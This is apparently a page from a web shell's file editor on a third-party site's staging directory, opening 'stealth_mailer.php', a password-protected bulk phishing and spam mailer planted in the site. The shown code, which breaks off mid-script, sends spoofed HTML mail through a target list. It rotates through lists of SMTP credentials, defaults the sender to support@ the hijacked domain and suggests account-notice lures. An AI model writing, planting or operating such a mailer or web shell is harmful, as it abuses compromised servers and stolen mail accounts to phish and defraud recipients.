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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2F'>staging.vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fstaging.vsdma.at%2Fseo%2F'>seo</a>/</p><hr><h3>✏️ Editing: stealth_mailer.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
session_start();

// ==========================================
// CONFIGURATION
// ==========================================
$PANEL_PASSWORD = &quot;Dripop101@&quot;; // Default password, change as needed.

// ==========================================
// BACKEND API HANDLERS
// ==========================================

// Handle Login
if (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] === &#039;login&#039;) {
    header(&#039;Content-Type: application/json&#039;);
    if ($_POST[&#039;password&#039;] === $PANEL_PASSWORD) {
        $_SESSION[&#039;logged_in&#039;] = true;
        echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;]);
    } else {
        echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;msg&#039; =&gt; &#039;Invalid password&#039;]);
    }
    exit;
}

// Check Authentication for API Calls
if (isset($_POST[&#039;action&#039;]) &amp;&amp; (!isset($_SESSION[&#039;logged_in&#039;]) || $_SESSION[&#039;logged_in&#039;] !== true)) {
    header(&#039;Content-Type: application/json&#039;);
    echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;msg&#039; =&gt; &#039;Unauthorized&#039;]);
    exit;
}

// Handle Logout
if (isset($_GET[&#039;logout&#039;])) {
    session_destroy();
    header(&quot;Location: ?&quot;);
    exit;
}

// Compact SMTP Class
class MiniSMTP {
    private $sock;
    public function send($host, $port, $user, $pass, $from_email, $from_name, $to, $subject, $body) {
        $this-&gt;sock = @fsockopen(($port == 465 ? &quot;ssl://&quot; : &quot;&quot;) . $host, $port, $errno, $errstr, 15);
        if (!$this-&gt;sock) return &quot;Connection failed: $errstr&quot;;
        
        stream_set_timeout($this-&gt;sock, 15);
        $this-&gt;read();
        $this-&gt;write(&quot;EHLO &quot; . (isset($_SERVER[&#039;HTTP_HOST&#039;]) ? $_SERVER[&#039;HTTP_HOST&#039;] : &#039;localhost&#039;));
        $this-&gt;read();
        
        if ($port == 587) {
            $this-&gt;write(&quot;STARTTLS&quot;);
            $this-&gt;read();
            $crypto = stream_socket_enable_crypto($this-&gt;sock, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT);
            if (!$crypto) return &quot;TLS setup failed&quot;;
            $this-&gt;write(&quot;EHLO &quot; . (isset($_SERVER[&#039;HTTP_HOST&#039;]) ? $_SERVER[&#039;HTTP_HOST&#039;] : &#039;localhost&#039;));
            $this-&gt;read();
        }
        
        if (!empty($user) &amp;&amp; !empty($pass)) {
            $this-&gt;write(&quot;AUTH LOGIN&quot;); $this-&gt;read();
            $this-&gt;write(base64_encode($user)); $this-&gt;read();
            $this-&gt;write(base64_encode($pass)); 
            $auth_res = $this-&gt;read();
            if (substr($auth_res, 0, 3) != &#039;235&#039;) return &quot;Auth failed: $auth_res&quot;;
        }
        
        $this-&gt;write(&quot;MAIL FROM:&lt;$from_email&gt;&quot;); $this-&gt;read();
        $this-&gt;write(&quot;RCPT TO:&lt;$to&gt;&quot;); 
        $rcpt_res = $this-&gt;read();
        if (substr($rcpt_res, 0, 3) != &#039;250&#039;) return &quot;RCPT TO failed: $rcpt_res&quot;;

        $this-&gt;write(&quot;DATA&quot;); 
        $data_res = $this-&gt;read();
        if (substr($data_res, 0, 3) != &#039;354&#039;) return &quot;DATA failed: $data_res&quot;;
        
        $msg_id = &quot;&lt;&quot; . md5(uniqid(microtime(true))) . &quot;@&quot; . explode(&#039;@&#039;, $from_email)[1] . &quot;&gt;&quot;;
        
        $msg = &quot;Date: &quot; . date(&quot;r&quot;) . &quot;\r\n&quot;;
        $msg .= &quot;Message-ID: $msg_id\r\n&quot;;
        $msg .= &quot;From: =?UTF-8?B?&quot;.base64_encode($from_name).&quot;?= &lt;$from_email&gt;\r\n&quot;;
        $msg .= &quot;To: &lt;$to&gt;\r\n&quot;;
        $msg .= &quot;Subject: =?UTF-8?B?&quot;.base64_encode($subject).&quot;?=\r\n&quot;;
        $msg .= &quot;MIME-Version: 1.0\r\n&quot;;
        $msg .= &quot;Content-Type: text/html; charset=UTF-8\r\n&quot;;
        $msg .= &quot;X-Mailer: PHP/&quot; . phpversion() . &quot;\r\n\r\n&quot;;
        $msg .= $body . &quot;\r\n.&quot;;
        
        $this-&gt;write($msg);
        $res = $this-&gt;read();
        $this-&gt;write(&quot;QUIT&quot;);
        fclose($this-&gt;sock);
        
        return substr($res, 0, 3) == &#039;250&#039; ? true : &quot;Delivery Error: $res&quot;;
    }
    
    private function write($data) { fwrite($this-&gt;sock, $data . &quot;\r\n&quot;); }
    private function read() {
        $res = &quot;&quot;;
        while ($str = fgets($this-&gt;sock, 515)) {
            $res .= $str;
            if (substr($str, 3, 1) == &quot; &quot;) break;
        }
        return $res;
    }
}

// Handle Sending
if (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] === &#039;send&#039;) {
    header(&#039;Content-Type: application/json&#039;);
    $to = filter_var($_POST[&#039;to&#039;], FILTER_SANITIZE_EMAIL);
    
    if (!$to || !filter_var($to, FILTER_VALIDATE_EMAIL)) {
        echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;msg&#039; =&gt; &#039;Invalid email address&#039;]);
        exit;
    }

    $send_method = $_POST[&#039;send_method&#039;] ?? &#039;smtp&#039;;

    if ($send_method === &#039;php&#039;) {
        // Use PHP mail() function
        $headers = &quot;MIME-Version: 1.0\r\n&quot;;
        $headers .= &quot;Content-Type: text/html; charset=UTF-8\r\n&quot;;
        $headers .= &quot;From: =?UTF-8?B?&quot;.base64_encode($_POST[&#039;from_name&#039;]).&quot;?= &lt;&quot;.$_POST[&#039;from_email&#039;].&quot;&gt;\r\n&quot;;
        $headers .= &quot;X-Mailer: PHP/&quot; . phpversion();

        $result = @mail($to, &quot;=?UTF-8?B?&quot;.base64_encode($_POST[&#039;subject&#039;]).&quot;?=&quot;, $_POST[&#039;body&#039;], $headers);
        if ($result) {
            echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;]);
        } else {
            echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;msg&#039; =&gt; &#039;PHP mail() failed on localhost&#039;]);
        }
        exit;
    }

    // Use SMTP
    $smtp = new MiniSMTP();
    $result = $smtp-&gt;send(
        $_POST[&#039;host&#039;], 
        $_POST[&#039;port&#039;], 
        $_POST[&#039;user&#039;], 
        $_POST[&#039;pass&#039;], 
        $_POST[&#039;from_email&#039;], 
        $_POST[&#039;from_name&#039;], 
        $to, 
        $_POST[&#039;subject&#039;], 
        $_POST[&#039;body&#039;]
    );

    if ($result === true) {
        echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;]);
    } else {
        echo json_encode([&#039;status&#039; =&gt; &#039;error&#039;, &#039;msg&#039; =&gt; $result]);
    }
    exit;
}

// ==========================================
// FRONTEND UI (HTML/CSS/JS)
// ==========================================
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Nexus Mailer Pro&lt;/title&gt;
    &lt;link href=&quot;https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&amp;display=swap&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;style&gt;
        :root {
            --bg-base: #0f1115;
            --bg-panel: #161920;
            --bg-input: #1e222b;
            --border: #2c323f;
            --accent: #6366f1;
            --accent-hover: #4f46e5;
            --text-main: #f8fafc;
            --text-muted: #94a3b8;
            --success: #10b981;
            --error: #ef4444;
            --font: &#039;Inter&#039;, sans-serif;
        }
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: var(--font); background-color: var(--bg-base); color: var(--text-main); line-height: 1.5; height: 100vh; display: flex; flex-direction: column; overflow: hidden; }
        
        /* Auth Screen */
        .auth-wrapper { display: flex; justify-content: center; align-items: center; height: 100vh; background: radial-gradient(circle at center, #1e222b 0%, var(--bg-base) 100%); }
        .auth-box { background: var(--bg-panel); padding: 40px; border-radius: 16px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5); width: 100%; max-width: 400px; text-align: center; }
        .auth-box h1 { margin-bottom: 24px; font-weight: 600; font-size: 24px; letter-spacing: -0.5px; }
        .auth-box input { width: 100%; padding: 14px; background: var(--bg-input); border: 1px solid var(--border); color: #fff; border-radius: 8px; margin-bottom: 20px; font-size: 16px; transition: border 0.3s; }
        .auth-box input:focus { outline: none; border-color: var(--accent); }
        .auth-box button { width: 100%; padding: 14px; background: var(--accent); color: #fff; border: none; border-radius: 8px; font-size: 16px; font-weight: 500; cursor: pointer; transition: background 0.3s; }
        .auth-box button:hover { background: var(--accent-hover); }
        .auth-error { color: var(--error); margin-bottom: 15px; display: none; font-size: 14px; }

        /* Main App */
        .app-header { display: flex; justify-content: space-between; align-items: center; padding: 20px 30px; background: var(--bg-panel); border-bottom: 1px solid var(--border); }
        .app-header h1 { font-size: 20px; font-weight: 600; display: flex; align-items: center; gap: 10px; }
        .app-header h1 span { color: var(--accent); }
        .logout-btn { padding: 8px 16px; background: transparent; border: 1px solid var(--border); color: var(--text-muted); border-radius: 6px; text-decoration: none; font-size: 14px; transition: all 0.2s; }
        .logout-btn:hover { border-color: var(--text-main); color: var(--text-main); }
        
        .main-container { display: flex; flex: 1; overflow: hidden; padding: 20px; gap: 20px; }
        .panel { background: var(--bg-panel); border-radius: 12px; border: 1px solid var(--border); display: flex; flex-direction: column; overflow: hidden; }
        .panel-header { padding: 15px 20px; border-bottom: 1px solid var(--border); font-weight: 600; font-size: 14px; color: var(--text-muted); text-transform: uppercase; letter-spacing: 0.5px; }
        .panel-body { padding: 20px; overflow-y: auto; flex: 1; }
        
        .col-settings { width: 300px; flex-shrink: 0; }
        .col-content { flex: 1; }
        .col-list { width: 350px; flex-shrink: 0; }

        .form-group { margin-bottom: 15px; }
        .form-group label { display: block; margin-bottom: 6px; font-size: 13px; color: var(--text-muted); }
        .form-control { width: 100%; padding: 10px 12px; background: var(--bg-input); border: 1px solid var(--border); color: #fff; border-radius: 6px; font-family: var(--font); font-size: 14px; transition: border 0.2s; }
        .form-control:focus { outline: none; border-color: var(--accent); }
        select.form-control { appearance: none; background-image: url(&quot;data:image/svg+xml;charset=UTF-8,%3csvg xmlns=&#039;http://www.w3.org/2000/svg&#039; viewBox=&#039;0 0 24 24&#039; fill=&#039;none&#039; stroke=&#039;%2394a3b8&#039; stroke-width=&#039;2&#039; stroke-linecap=&#039;round&#039; stroke-linejoin=&#039;round&#039;%3e%3cpolyline points=&#039;6 9 12 15 18 9&#039;%3e%3c/polyline%3e%3c/svg%3e&quot;); background-repeat: no-repeat; background-position: right 10px center; background-size: 16px; }
        
        .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; }

        textarea.form-control { resize: vertical; min-height: 100px; }
        .editor-container { display: flex; flex-direction: column; height: 100%; }
        #body { flex: 1; resize: none; font-family: monospace; font-size: 13px; line-height: 1.6; }
        #email_list { flex: 1; resize: none; font-family: monospace; font-size: 13px; white-space: pre; }

        .btn { display: inline-flex; align-items: center; justify-content: center; padding: 12px 20px; background: var(--accent); color: white; border: none; border-radius: 6px; font-weight: 500; font-size: 14px; cursor: pointer; transition: background 0.2s; width: 100%; }
        .btn:hover { background: var(--accent-hover); }
        .btn:disabled { opacity: 0.5; cursor: not-allowed; }
        .btn-danger { background: var(--error); }
        .btn-danger:hover { background: #dc2626; }

        /* Progress &amp; Logs */
        .status-board { margin-top: 15px; border-top: 1px solid var(--border); padding-top: 15px; }
        .stats-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin-bottom: 15px; text-align: center; }
        .stat-box { background: var(--bg-input); padding: 10px; border-radius: 6px; border: 1px solid var(--border); }
        .stat-value { font-size: 18px; font-weight: 600; }
        .stat-label { font-size: 11px; color: var(--text-muted); text-transform: uppercase; margin-top: 2px; }
        .text-success { color: var(--success); }
        .text-error { color: var(--error); }
        .text-accent { color: var(--accent); }

        .progress-container { width: 100%; height: 6px; background: var(--bg-input); border-radius: 3px; overflow: hidden; margin-bottom: 15px; }
        .progress-bar { height: 100%; background: var(--accent); width: 0%; transition: width 0.3s; }

        .console-log { flex: 1; background: #000; border: 1px solid var(--border); border-radius: 6px; padding: 10px; overflow-y: auto; font-family: monospace; font-size: 12px; min-height: 150px; max-height: 250px; display: flex; flex-direction: column; }
        .log-line { margin-bottom: 4px; border-bottom: 1px solid rgba(255,255,255,0.05); padding-bottom: 4px; }
        .log-success { color: var(--success); }
        .log-error { color: var(--error); }
        .log-info { color: var(--text-muted); }

        .macro-help { font-size: 12px; color: var(--text-muted); margin-top: 10px; padding: 10px; background: var(--bg-input); border-radius: 6px; }
        .macro-help code { color: var(--accent); font-family: monospace; }
        
        /* Loading animation */
        .spinner { border: 2px solid rgba(255,255,255,0.1); border-left-color: #fff; border-radius: 50%; width: 16px; height: 16px; animation: spin 1s linear infinite; display: none; margin-right: 8px; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

        @media (max-width: 1024px) {
            .main-container { flex-direction: column; overflow-y: auto; }
            .col-settings, .col-list { width: 100%; }
            body { height: auto; overflow-y: auto; }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;?php if (!isset($_SESSION[&#039;logged_in&#039;]) || $_SESSION[&#039;logged_in&#039;] !== true): ?&gt;
    &lt;div class=&quot;auth-wrapper&quot;&gt;
        &lt;div class=&quot;auth-box&quot;&gt;
            &lt;h1&gt;Nexus Mailer Pro&lt;/h1&gt;
            &lt;div id=&quot;login_error&quot; class=&quot;auth-error&quot;&gt;&lt;/div&gt;
            &lt;form id=&quot;login_form&quot; onsubmit=&quot;event.preventDefault(); login();&quot;&gt;
                &lt;input type=&quot;password&quot; id=&quot;login_pass&quot; placeholder=&quot;Enter Password&quot; required&gt;
                &lt;button type=&quot;submit&quot;&gt;Access Panel&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;script&gt;
        function login() {
            const pass = document.getElementById(&#039;login_pass&#039;).value;
            const fd = new FormData();
            fd.append(&#039;action&#039;, &#039;login&#039;);
            fd.append(&#039;password&#039;, pass);

            fetch(&#039;&#039;, { method: &#039;POST&#039;, body: fd })
                .then(res =&gt; res.json())
                .then(data =&gt; {
                    if (data.status === &#039;success&#039;) location.reload();
                    else {
                        const err = document.getElementById(&#039;login_error&#039;);
                        err.innerText = data.msg;
                        err.style.display = &#039;block&#039;;
                    }
                });
        }
    &lt;/script&gt;
&lt;?php else: ?&gt;

    &lt;header class=&quot;app-header&quot;&gt;
        &lt;h1&gt;&lt;span&gt;Nexus&lt;/span&gt; Mailer Pro&lt;/h1&gt;
        &lt;a href=&quot;?logout=1&quot; class=&quot;logout-btn&quot;&gt;Log Out&lt;/a&gt;
    &lt;/header&gt;

    &lt;div class=&quot;main-container&quot;&gt;
        &lt;!-- SMTP Settings Column --&gt;
        &lt;div class=&quot;panel col-settings&quot;&gt;
            &lt;div class=&quot;panel-header&quot;&gt;Server Configuration&lt;/div&gt;
            &lt;div class=&quot;panel-body&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Send Method&lt;/label&gt;
                    &lt;select id=&quot;send_method&quot; class=&quot;form-control&quot; onchange=&quot;toggleMethod()&quot;&gt;
                        &lt;option value=&quot;smtp&quot;&gt;SMTP Server&lt;/option&gt;
                        &lt;option value=&quot;php&quot;&gt;PHP Built-in mail()&lt;/option&gt;
                        &lt;option value=&quot;multi_smtp&quot;&gt;Multi SMTP Rotation&lt;/option&gt;
                    &lt;/select&gt;
                &lt;/div&gt;
                &lt;div id=&quot;smtp_fields&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;SMTP Host&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;smtp_host&quot; class=&quot;form-control&quot; placeholder=&quot;smtp.hostinger.com&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;grid-2&quot;&gt;
                    &lt;div class=&quot;form-group&quot;&gt;
                        &lt;label&gt;Port&lt;/label&gt;
                        &lt;select id=&quot;smtp_port&quot; class=&quot;form-control&quot;&gt;
                            &lt;option value=&quot;587&quot;&gt;587 (TLS)&lt;/option&gt;
                            &lt;option value=&quot;465&quot;&gt;465 (SSL)&lt;/option&gt;
                            &lt;option value=&quot;25&quot;&gt;25 (None)&lt;/option&gt;
                        &lt;/select&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;form-group&quot;&gt;
                        &lt;label&gt;Delay (sec)&lt;/label&gt;
                        &lt;input type=&quot;number&quot; id=&quot;send_delay&quot; class=&quot;form-control&quot; value=&quot;2&quot; min=&quot;0&quot;&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Username (Email)&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;smtp_user&quot; class=&quot;form-control&quot; placeholder=&quot;user@domain.com&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Password&lt;/label&gt;
                    &lt;input type=&quot;password&quot; id=&quot;smtp_pass&quot; class=&quot;form-control&quot; placeholder=&quot;••••••••&quot;&gt;
                &lt;/div&gt;
                &lt;/div&gt; &lt;!-- End of smtp_fields --&gt;
                &lt;div id=&quot;multi_smtp_fields&quot; style=&quot;display:none;&quot;&gt;
                    &lt;div class=&quot;form-group&quot;&gt;
                        &lt;label&gt;SMTP List (host|port|email|password)&lt;/label&gt;
                        &lt;textarea id=&quot;multi_smtp_list&quot; class=&quot;form-control&quot; placeholder=&quot;smtp.host.com|587|user@domain.com|password123&quot;&gt;&lt;/textarea&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
                &lt;hr style=&quot;border:0; border-top:1px solid var(--border); margin: 20px 0;&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Sender Email&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;from_email&quot; class=&quot;form-control&quot; placeholder=&quot;noreply@domain.com&quot; value=&quot;support@&lt;?php echo htmlspecialchars($_SERVER[&#039;HTTP_HOST&#039;] ?? &#039;domain.com&#039;); ?&gt;&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Sender Name&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;from_name&quot; class=&quot;form-control&quot; placeholder=&quot;Nexus Support&quot;&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;!-- Content Column --&gt;
        &lt;div class=&quot;panel col-content&quot;&gt;
            &lt;div class=&quot;panel-header&quot;&gt;Message Layout&lt;/div&gt;
            &lt;div class=&quot;panel-body editor-container&quot;&gt;
                &lt;div class=&quot;form-group&quot;&gt;
                    &lt;label&gt;Subject Line&lt;/label&gt;
                    &lt;input type=&quot;text&quot; id=&quot;subject&quot; class=&quot;form-control&quot; placeholder=&quot;Important notice regarding your account&quot;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-group&quot; style=&quot;flex: 1; display: flex; flex-direction: column;&quot;&gt;
                    &lt;label&gt;HTML Letter&lt;/label&gt;
                    &lt;textarea id=&quot;body&quot; class=&quot;form-control&quot; placeholder=&quot;&lt;h1&gt;Hello {email}&lt;/h1&gt;...&quot;&gt;&lt;/textarea&gt;
                &lt;/div&gt;
                &lt;div class=&quot;macro-help&quot;&gt;
                    &lt;strong&gt;Macros:&lt;/strong&gt; &lt;code&gt;{email}&lt;/code&gt; = recipient email | &lt;code&gt;{user}&lt;/code&gt; = username before @ | &lt;code&gt;{domain}&lt;/code&gt; = domain after @
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;!-- List &amp; Controls Column --&gt;
        &lt;div class=&quot;panel col-list&quot;&gt;
            &lt;div class=&quot;panel-header&quot;&gt;Target &amp; Execution&lt;/div&gt;
            &lt;div class=&quot;panel-body&quot; style=&quot;display: flex; flex-direction: column;&quot;&gt;
                &lt;div class=&quot;form-group&quot; style=&quot;flex: 1; display: flex; flex-direction: column;&quot;&gt;
                    &lt;label&gt;Email List (One per line)&lt;/label&gt;
                    &lt;textarea id=&quot;email_list&quot; class=&quot;form-control&quot; placeholder=&quot;user1@example.com&amp;#10;user2@example.com&quot;&gt;&lt;/textarea&gt;
                &lt;/div&gt;
                
                &lt;button id=&quot;btn_start&quot; class=&quot;btn&quot; onclick=&quot;startSending()&quot;&gt;
                    &lt;span class=&quot;spinner&quot; id=&quot;spinner&quot;&gt;&lt;/span&gt;
                    &lt;span id=&quot;btn_text&quot;&gt;Start Campaign&lt;/span&gt;
                &lt;/button&gt;
                &lt;button id=&quot;btn_stop&quot; class=&quot;btn btn-danger&quot; style=&quot;display:none; margin-top:10px;&quot; onclick=&quot;stopSending()&quot;&gt;Stop Sending&lt;/button&gt;

                &lt;div class=&quot;status-board&quot;&gt;
                    &lt;div class=&quot;stats-grid&quot;&gt;
                        &lt;div class=&quot;stat-box&quot;&gt;
                            &lt;div class=&quot;stat-value text-accent&quot; id=&quot;stat_total&quot;&gt;0&lt;/div&gt;
                            &lt;div class=&quot;stat-label&quot;&gt;Total&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;stat-box&quot;&gt;
                            &lt;div class=&quot;stat-value text-success&quot; id=&quot;stat_sent&quot;&gt;0&lt;/div&gt;
                            &lt;div class=&quot;stat-label&quot;&gt;Sent&lt;/div&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;stat-box&quot;&gt;
                            &lt;div class=&quot;stat-value text-error&quot; id=&quot;stat_fail&quot;&gt;0&lt;/div&gt;
                            &lt;div class=&quot;stat-label&quot;&gt;Failed&lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    
                    &lt;div class=&quot;progress-container&quot;&gt;
                        &lt;div class=&quot;progress-bar&quot; id=&quot;progress_bar&quot;&gt;&lt;/div&gt;
                    &lt;/div&gt;

                    &lt;div class=&quot;console-log&quot; id=&quot;console_log&quot;&gt;
                        &lt;div class=&quot;log-line log-info&quot;&gt;System ready. Waiting for campaign start...&lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;script&gt;
        function toggleMethod() {
            const method = document.getElementById(&#039;send_method&#039;).value;
            document.getElementById(&#039;smtp_fields&#039;).style.display = method === &#039;smtp&#039; ? &#039;block&#039; : &#039;none&#039;;
            document.getElementById(&#039;multi_smtp_fields&#039;).style.display = method === &#039;multi_smtp&#039; ? &#039;block&#039; : &#039;none&#039;;
        }

        let isSending = false;
        let emails = [];
        let multiSmtpList = [];
        let smtpRotationIndex = 0;
        let currentIndex = 0;
        let sentCount = 0;
        let failCount = 0;

        function log(msg, type = &#039;info&#039;) {
            const con = document.getElementById(&#039;console_log&#039;);
            const time = new Date().toLocaleTimeString(&#039;en-US&#039;, { hour12: false });
            con.innerHTML += `&lt;div class=&quot;log-line log-${type}&quot;&gt;[${time}] ${msg}&lt;/div&gt;`;
            con.scrollTop = con.scrollHeight;
        }

        function updateProgress() {
            document.getElementById(&#039;stat_total&#039;).innerText = emails.length;
            document.getElementById(&#039;stat_sent&#039;).innerText = sentCount;
            document.getElementById(&#039;stat_fail&#039;).innerText = failCount;
            const pct = emails.length &gt; 0 ? ((sentCount + failCount) / emails.length) * 100 : 0;
            document.getElementById(&#039;progress_bar&#039;).style.width = pct + &#039;%&#039;;
        }

        function stopSending() {
            isSending = false;
            document.getElementById(&#039;btn_start&#039;).style.display = &#039;inline-flex&#039;;
            document.getElementById(&#039;btn_stop&#039;).style.display = &#039;none&#039;;
            document.getElementById(&#039;spinner&#039;).style.display = &#039;none&#039;;
            document.getElementById(&#039;btn_text&#039;).innerText = &#039;Resume Campaign&#039;;
            log(&#039;Campaign paused by user.&#039;, &#039;info&#039;);
        }

        async function startSending() {
            if (isSending) return;

            // Gather inputs
            const send_method = document.getElementById(&#039;send_method&#039;).value;
            const host = document.getElementById(&#039;smtp_host&#039;).value.trim();
            const port = document.getElementById(&#039;smtp_port&#039;).value;
            const user = document.getElementById(&#039;smtp_user&#039;).value.trim();
            const pass = document.getElementById(&#039;smtp_pass&#039;).value;
            const from_email = document.getElementById(&#039;from_email&#039;).value.trim();
            const from_name = document.getElementById(&#039;from_name&#039;).value.trim();
            const subject = document.getElementById(&#039;subject&#039;).value.trim();
            const body = document.getElementById(&#039;body&#039;).value;
            const delaySec = parseFloat(document.getElementById(&#039;send_delay&#039;).value) || 0;
            
            // Validation
            if (!from_email || !subject || !body || (send_method === &#039;smtp&#039; &amp;&amp; !host)) {
                alert(&quot;Please fill in all required fields (Host is required for single SMTP).&quot;);
                return;
            }
            if (send_method === &#039;multi_smtp&#039;) {
                const rawSmtps = document.getElementById(&#039;multi_smtp_list&#039;).value;
                multiSmtpList = rawSmtps.split(&#039;\n&#039;).map(s =&gt; s.trim()).filter(s =&gt; s.length &gt; 0);
                if (multiSmtpList.length === 0) {
                    alert(&quot;Please provide at least one SMTP in the Multi SMTP list.&quot;);
                    return;
                }
                smtpRotationIndex = 0;
            }

            // Only parse list if starting fresh
            if (currentIndex === 0 || currentIndex &gt;= emails.length) {
                const rawList = document.getElementById(&#039;email_list&#039;).value;
                emails = rawList.split(&#039;\n&#039;).map(e =&gt; e.trim()).filter(e =&gt; e.includes(&#039;@&#039;));
                if (emails.length === 0) {
                    alert(&quot;No valid emails found in list.&quot;);
                    return;
                }
                currentIndex = 0;
                sentCount = 0;
                failCount = 0;
                document.getElementById(&#039;console_log&#039;).innerHTML = &#039;&#039;;
            }

            isSending = true;
            document.getElementById(&#039;btn_start&#039;).style.display = &#039;none&#039;;
            document.getElementById(&#039;btn_stop&#039;).style.display = &#039;inline-flex&#039;;
            document.getElementById(&#039;spinner&#039;).style.display = &#039;inline-block&#039;;
            updateProgress();
            log(`Campaign started. Total target: ${emails.length}`, &#039;info&#039;);

            processNext(send_method, host, port, user, pass, from_email, from_name, subject, body, delaySec);
        }

        async function processNext(send_method, host, port, user, pass, from_email, from_name, subjectTpl, bodyTpl, delaySec) {
            if (!isSending) return;
            if (currentIndex &gt;= emails.length) {
                log(&#039;Campaign finished.&#039;, &#039;success&#039;);
                stopSending();
                document.getElementById(&#039;btn_text&#039;).innerText = &#039;Start New Campaign&#039;;
                return;
            }

            const currentEmail = emails[currentIndex];
            
            // Replace Macros
            const emailParts = currentEmail.split(&#039;@&#039;);
            const username = emailParts[0] || &#039;&#039;;
            const domain = emailParts[1] || &#039;&#039;;
            
            let finalSubject = subjectTpl.replace(/{email}/gi, currentEmail).replace(/{user}/gi, username).replace(/{domain}/gi, domain);
            let finalBody = bodyTpl.replace(/{email}/gi, currentEmail).replace(/{user}/gi, username).replace(/{domain}/gi, domain);

            let reqHost = host;
            let reqPort = port;
            let reqUser = user;
            let reqPass = pass;
            let reqFromEmail = from_email;
            let reqSendMethod = send_method;

            if (send_method === &#039;multi_smtp&#039;) {
                const smtpLine = multiSmtpList[smtpRotationIndex % multiSmtpList.length];
                const parts = smtpLine.split(&#039;|&#039;);
                if (parts.length &gt;= 4) {
                    reqHost = parts[0];
                    reqPort = parts[1];
                    reqUser = parts[2];
                    reqPass = parts[3];
                    reqFromEmail = parts[2]; // Override sender with SMTP user
                }
                smtpRotationIndex++;
                reqSendMethod = &#039;smtp&#039;; // Backend processes normally
            }

            const fd = new FormData();
            fd.append(&#039;action&#039;, &#039;send&#039;);
            fd.append(&#039;send_method&#039;, reqSendMethod);
            fd.append(&#039;host&#039;, reqHost);
            fd.append(&#039;port&#039;, reqPort);
            fd.append(&#039;user&#039;, reqUser);
            fd.append(&#039;pass&#039;, reqPass);
            fd.append(&#039;from_email&#039;, reqFromEmail);
            fd.append(&#039;from_name&#039;, from_name);
            fd.append(&#039;to&#039;, currentEmail);
            fd.append(&#039;subject&#039;, finalSubject);
            fd.append(&#039;body&#039;, finalBody);

            log(`Sending to ${currentEmail}...`, &#039;info&#039;);

            try {
                const res = await fetch(&#039;&#039;, { method: &#039;POST&#039;, body: fd });
                const data = await res.json();
                
                if (data.status === &#039;success&#039;) {
                    sentCount++;
                    log(`Success: ${currentEmail}`, &#039;success&#039;);
                } else {
                    failCount++;
                    log(`Failed: ${currentEmail} - ${data.msg}`, &#039;error&#039;);
                }
            } catch (err) {
                failCount++;
                log(`Network/Server Error for ${currentEmail}`, &#039;error&#039;);
            }

            currentIndex++;
            updateProgress();

            if (isSending &amp;&amp; currentIndex &lt; emails.length) {
